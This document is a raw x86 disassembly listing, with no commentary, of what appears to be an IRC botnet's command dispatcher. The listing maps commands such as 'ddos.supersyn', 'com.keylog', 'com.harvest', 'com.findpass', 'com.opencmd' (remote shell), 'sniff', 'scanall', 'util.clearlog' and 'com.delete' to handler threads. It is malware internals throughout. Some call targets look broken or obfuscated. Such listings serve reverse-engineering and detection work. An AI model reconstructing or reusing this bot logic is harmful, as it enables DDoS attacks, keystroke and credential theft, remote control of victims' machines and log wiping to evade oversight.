		jz	loc_414B1A
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_43278C
		jnz	short loc_410249
		mov	eax, offset dword_432758

loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_432698
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410448

loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_410432
; ---------------------------------------------------------------------------

loc_410448:				; CODE XREF: sub_40EE72+15BEj
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset unk_43264C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"

loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_432520

loc_410654:				; CODE XREF: sub_40EE72+5C58j
		call	sub_40BF6D
		jmp	loc_414F46
; ---------------------------------------------------------------------------

loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_432250
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]

loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_432210
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410C86

loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_410C70
; ---------------------------------------------------------------------------

loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset unk_4321C4
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_432178
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_432140
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_4320E0
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4320A4

loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_432074
		jmp	short loc_410D38
; ---------------------------------------------------------------------------

loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------

loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax

loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]

loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_432044
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410E3C

loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------

loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_431FF8

loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------

loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43AE68, ebx
		jz	short loc_410EB2
		cmp	dword_43AE90, ebx
		jz	short loc_410EB2
		push	offset dword_431FA8
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------

loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_431F6C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_431F3C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------

loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1

loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1

loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------

loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------

loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_431EE0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_431EB0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------

loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
